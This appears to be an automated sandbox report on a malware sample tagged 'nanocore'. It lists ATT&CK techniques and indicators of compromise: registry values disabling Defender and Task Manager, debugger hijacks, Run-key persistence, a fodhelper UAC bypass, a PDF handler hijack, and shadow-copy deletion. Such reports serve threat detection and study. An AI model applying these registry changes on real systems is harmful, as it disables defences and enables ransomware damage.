nanocore | 01e35dc7c98f24d31bdd175d63a6290f6afb0ffd011d8608655ebb8d544d4ea7

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	dolm.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3460	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	dolm.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	dolm.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	dolm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dolm.io_chrome.exe"	dolm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	dolm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dolm.io_chrome.exe"	dolm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	dolm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dolm.io_chrome.exe"	dolm.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1384	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	dolm.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	dolm.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	dolm.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dolm.io_chrome.exe"	dolm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dolm.io_chrome.exe"	dolm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dolm.io_chrome.exe"	dolm.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4396	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	dolm.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	dolm.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	dolm.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
6012	wscript.exe
3372	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	dolm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	dolm.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4424	sc.exe
6032	sc.exe
1760	sc.exe
5992	sc.exe
612	sc.exe
1124	sc.exe
4248	sc.exe
1516	sc.exe
6024	sc.exe
1496	sc.exe
5772	sc.exe
1664	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5268	cmd.exe
2164	cmd.exe
4556	cmd.exe
2328	cmd.exe
1252	cmd.exe
3968	cmd.exe
3288	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3780	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4800	NETSTAT.EXE
3556	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
380	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2504	vssadmin.exe
4820	vssadmin.exe
4240	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	dolm.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134309987380501259"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	dolm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dolm.io_chrome.exe"	dolm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	dolm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	dolm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	dolm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	dolm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	dolm.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	dolm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	dolm.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dolm.io_chrome.exe\" \"%1\""	dolm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	dolm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	dolm.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	dolm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	dolm.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	dolm.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	dolm.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2524	schtasks.exe
2664	schtasks.exe
5092	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe
4716	chrome.exe
4716	chrome.exe
3460	powershell.exe
3460	powershell.exe
4896	WMIC.exe
4896	WMIC.exe
4896	WMIC.exe
4896	WMIC.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
2824	WMIC.exe
2824	WMIC.exe
2824	WMIC.exe
2824	WMIC.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
4568	WMIC.exe
4568	WMIC.exe
4568	WMIC.exe
4568	WMIC.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe
5888	dolm.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5888	dolm.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeShutdownPrivilege	4716	chrome.exe
Token: SeCreatePagefilePrivilege	4716	chrome.exe
Token: SeShutdownPrivilege	4716	chrome.exe
Token: SeCreatePagefilePrivilege	4716	chrome.exe
Token: SeShutdownPrivilege	4716	chrome.exe
Token: SeCreatePagefilePrivilege	4716	chrome.exe
Token: SeIncreaseQuotaPrivilege	4896	WMIC.exe
Token: SeSecurityPrivilege	4896	WMIC.exe
Token: SeTakeOwnershipPrivilege	4896	WMIC.exe
Token: SeLoadDriverPrivilege	4896	WMIC.exe
Token: SeSystemProfilePrivilege	4896	WMIC.exe
Token: SeSystemtimePrivilege	4896	WMIC.exe
Token: SeProfSingleProcessPrivilege	4896	WMIC.exe
Token: SeIncBasePriorityPrivilege	4896	WMIC.exe
Token: SeCreatePagefilePrivilege	4896	WMIC.exe
Token: SeBackupPrivilege	4896	WMIC.exe
Token: SeRestorePrivilege	4896	WMIC.exe
Token: SeShutdownPrivilege	4896	WMIC.exe
Token: SeDebugPrivilege	4896	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4896	WMIC.exe
Token: SeRemoteShutdownPrivilege	4896	WMIC.exe
Token: SeUndockPrivilege	4896	WMIC.exe
Token: SeManageVolumePrivilege	4896	WMIC.exe
Token: 33	4896	WMIC.exe
Token: 34	4896	WMIC.exe
Token: 35	4896	WMIC.exe
Token: 36	4896	WMIC.exe
Token: SeBackupPrivilege	5876	vssvc.exe
Token: SeRestorePrivilege	5876	vssvc.exe
Token: SeAuditPrivilege	5876	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4896	WMIC.exe
Token: SeSecurityPrivilege	4896	WMIC.exe
Token: SeTakeOwnershipPrivilege	4896	WMIC.exe
Token: SeLoadDriverPrivilege	4896	WMIC.exe
Token: SeSystemProfilePrivilege	4896	WMIC.exe
Token: SeSystemtimePrivilege	4896	WMIC.exe
Token: SeProfSingleProcessPrivilege	4896	WMIC.exe
Token: SeIncBasePriorityPrivilege	4896	WMIC.exe
Token: SeCreatePagefilePrivilege	4896	WMIC.exe
Token: SeBackupPrivilege	4896	WMIC.exe
Token: SeRestorePrivilege	4896	WMIC.exe
Token: SeShutdownPrivilege	4896	WMIC.exe
Token: SeDebugPrivilege	4896	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4896	WMIC.exe
Token: SeRemoteShutdownPrivilege	4896	WMIC.exe
Token: SeUndockPrivilege	4896	WMIC.exe
Token: SeManageVolumePrivilege	4896	WMIC.exe
Token: 33	4896	WMIC.exe
Token: 34	4896	WMIC.exe
Token: 35	4896	WMIC.exe
Token: 36	4896	WMIC.exe
Token: SeShutdownPrivilege	4716	chrome.exe
Token: SeCreatePagefilePrivilege	4716	chrome.exe
Token: SeIncreaseQuotaPrivilege	3460	powershell.exe
Token: SeSecurityPrivilege	3460	powershell.exe
Token: SeTakeOwnershipPrivilege	3460	powershell.exe
Token: SeLoadDriverPrivilege	3460	powershell.exe
Token: SeSystemProfilePrivilege	3460	powershell.exe
Token: SeSystemtimePrivilege	3460	powershell.exe
Token: SeProfSingleProcessPrivilege	3460	powershell.exe
Token: SeIncBasePriorityPrivilege	3460	powershell.exe
Token: SeCreatePagefilePrivilege	3460	powershell.exe
Token: SeBackupPrivilege	3460	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe
4716	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5888	dolm.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5888 wrote to memory of 4716	5888	dolm.io_chrome.exe	89
PID 4716 wrote to memory of 2364	4716	chrome.exe	90
PID 5888 wrote to memory of 3460	5888	dolm.io_chrome.exe	91
PID 5888 wrote to memory of 4424	5888	dolm.io_chrome.exe	93
PID 5888 wrote to memory of 6032	5888	dolm.io_chrome.exe	95
PID 4716 wrote to memory of 3780	4716	chrome.exe	98
PID 4716 wrote to memory of 5540	4716	chrome.exe	99
PID 4716 wrote to memory of 5540	4716	chrome.exe	99
PID 4716 wrote to memory of 1764	4716	chrome.exe	101
PID 4716 wrote to memory of 1764	4716	chrome.exe	101
PID 5888 wrote to memory of 1760	5888	dolm.io_chrome.exe	136
PID 4716 wrote to memory of 2408	4716	chrome.exe	103
PID 4716 wrote to memory of 2368	4716	chrome.exe	102
PID 4716 wrote to memory of 2408	4716	chrome.exe	103
PID 4716 wrote to memory of 2368	4716	chrome.exe	102
PID 5888 wrote to memory of 5992	5888	dolm.io_chrome.exe	105
PID 5888 wrote to memory of 6024	5888	dolm.io_chrome.exe	107
PID 5888 wrote to memory of 1496	5888	dolm.io_chrome.exe	109
PID 5888 wrote to memory of 1124	5888	dolm.io_chrome.exe	111
PID 5888 wrote to memory of 5772	5888	dolm.io_chrome.exe	113
PID 5888 wrote to memory of 4720	5888	dolm.io_chrome.exe	115
PID 5888 wrote to memory of 1664	5888	dolm.io_chrome.exe	116
PID 5888 wrote to memory of 612	5888	dolm.io_chrome.exe	118
PID 5888 wrote to memory of 2504	5888	dolm.io_chrome.exe	120
PID 5888 wrote to memory of 4896	5888	dolm.io_chrome.exe	122
PID 4720 wrote to memory of 3628	4720	fodhelper.exe	123
PID 5888 wrote to memory of 3372	5888	dolm.io_chrome.exe	129
PID 5888 wrote to memory of 5092	5888	dolm.io_chrome.exe	131
PID 5888 wrote to memory of 2664	5888	dolm.io_chrome.exe	133
PID 5888 wrote to memory of 2040	5888	dolm.io_chrome.exe	137
PID 5888 wrote to memory of 3288	5888	dolm.io_chrome.exe	139
PID 5888 wrote to memory of 5268	5888	dolm.io_chrome.exe	141
PID 5888 wrote to memory of 3968	5888	dolm.io_chrome.exe	142
PID 5888 wrote to memory of 1252	5888	dolm.io_chrome.exe	143
PID 5888 wrote to memory of 2328	5888	dolm.io_chrome.exe	144
